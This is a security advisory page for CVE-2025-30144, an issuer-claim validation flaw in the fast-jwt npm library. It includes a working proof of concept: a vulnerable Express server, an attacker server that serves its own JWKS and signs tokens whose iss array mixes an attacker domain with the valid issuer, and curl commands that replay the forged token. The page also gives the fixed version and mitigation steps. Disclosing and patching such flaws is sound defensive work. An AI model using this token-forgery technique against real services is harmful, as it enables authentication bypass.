CVE-2025-30144 is a medium-severity (CVSS 6.5) CWE-290 vulnerability in fast-jwt. A fix is available for fast-jwt — see the affected versions and patch details below.
Fast-JWT Improperly Validates iss Claims
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-30144.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
fast-jwtnpmDescription
Summary
The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Details
The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.
Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.
PoC
Take a server running the following code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Impact
Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.
Solution
Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | fast-jwt | all versions | 5.0.6npm install fast-jwt@5.0.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fast-jwt, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fast-jwt to 5.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-30144 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2025-30144 in your dependencies?
Find it across npm, including transitive dependencies.